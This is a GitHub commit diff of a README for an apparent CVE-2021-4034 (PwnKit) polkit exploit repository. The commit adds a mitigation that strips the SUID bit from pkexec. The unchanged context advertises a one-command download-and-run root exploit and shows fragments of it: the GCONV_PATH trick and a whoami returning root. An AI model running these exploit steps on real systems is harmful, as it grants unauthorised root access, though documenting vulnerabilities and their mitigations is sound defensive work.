Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
adrianlois committed Jan 29, 2022
1 parent 6bb8d16 commit c26fb29
Showing 1 changed file with 7 additions and 1 deletion.
8 changes: 7 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -63,7 +63,6 @@ vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?

Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).


# One command root

You can easily exploit the system using a single script, downloadable and executable with this command:
Expand All @@ -82,3 +81,10 @@ cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
whoami
root
```

# Mitigation

If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.
```
chmod 0755 /usr/bin/pkexec
```

0 comments on commit c26fb29

Please sign in to comment.